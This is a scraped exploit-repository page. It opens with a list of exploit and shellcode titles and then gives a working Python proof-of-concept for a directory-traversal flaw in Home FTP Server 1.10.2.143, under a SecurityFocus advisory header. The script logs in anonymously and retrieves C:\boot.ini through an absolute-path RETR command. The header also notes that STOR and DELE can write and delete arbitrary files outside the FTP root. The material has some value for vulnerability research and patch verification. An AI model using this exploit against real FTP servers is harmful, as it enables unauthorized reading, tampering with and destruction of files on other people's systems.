
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
110 lines
No EOL
6 KiB
Python
Executable file
110 lines
No EOL
6 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/40419/info
|
|
|
|
Home FTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
|
|
|
|
Exploiting this issue can allow an attacker to download, upload, and delete arbitrary files outside of the FTP server's root directory. This may aid in further attacks.
|
|
|
|
Home FTP Server 1.10.2.143 and 1.11.1.149 are vulnerable; other versions may also be affected.
|
|
|
|
#============================================================================================================#
|
|
# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #
|
|
# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #
|
|
# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #
|
|
# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #
|
|
# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #
|
|
# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #
|
|
# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #
|
|
# #
|
|
#============================================================================================================#
|
|
# #
|
|
# Vulnerability............Directory Traversal #
|
|
# Software.................Home FTP Server 1.10.2.143 #
|
|
# Download.................http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe #
|
|
# Date.....................5/27/10 #
|
|
# #
|
|
#============================================================================================================#
|
|
# #
|
|
# Site.....................http://cross-site-scripting.blogspot.com/ #
|
|
# Email....................john.leitch5@gmail.com #
|
|
# #
|
|
#============================================================================================================#
|
|
# #
|
|
# ##Description## #
|
|
# #
|
|
# A directory traversal vulnerability in Home FTP Server 1.10.2.143 can be exploited to read, write, and #
|
|
# delete files outside of the ftp root directory. #
|
|
# #
|
|
# #
|
|
# ##Exploit## #
|
|
# #
|
|
# RETR [Drive Letter]:\[Filename] #
|
|
# STOR [Drive Letter]:\[Filename] #
|
|
# DELE [Drive Letter]:\[Filename] #
|
|
# #
|
|
# #
|
|
# ##Proof of Concept## #
|
|
# #
|
|
import sys, socket, re
|
|
|
|
host = 'localhost'
|
|
port = 21
|
|
user = 'anonymous'
|
|
password = ''
|
|
|
|
timeout = 8
|
|
|
|
buffer_size = 8192
|
|
|
|
def get_data_port(s):
|
|
s.send('PASV\r\n')
|
|
|
|
resp = s.recv(buffer_size)
|
|
|
|
pasv_info = re.search(u'(\d+),' * 5 + u'(\d+)', resp)
|
|
|
|
if (pasv_info == None):
|
|
raise Exception(resp)
|
|
|
|
return int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))
|
|
|
|
def retr_file(s, filename):
|
|
pasv_port = get_data_port(s)
|
|
|
|
if (pasv_port == None):
|
|
return None
|
|
|
|
s.send('RETR ' + filename + '\r\n')
|
|
resp = s.recv(8192)
|
|
|
|
if resp[:3] != '150': raise Exception(resp)
|
|
|
|
print resp
|
|
|
|
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s2.connect((host, pasv_port))
|
|
s2.settimeout(2.0)
|
|
resp = s2.recv(8192)
|
|
s2.close()
|
|
|
|
return resp
|
|
|
|
def get_file(filename):
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((host, port))
|
|
s.settimeout(timeout)
|
|
|
|
print s.recv(buffer_size)
|
|
|
|
s.send('USER ' + user + '\r\n')
|
|
print s.recv(buffer_size)
|
|
|
|
s.send('PASS ' + password + '\r\n')
|
|
print s.recv(buffer_size)
|
|
|
|
print retr_file(s, filename)
|
|
|
|
print s.recv(buffer_size)
|
|
|
|
s.close()
|
|
|
|
get_file('c:\\boot.ini') |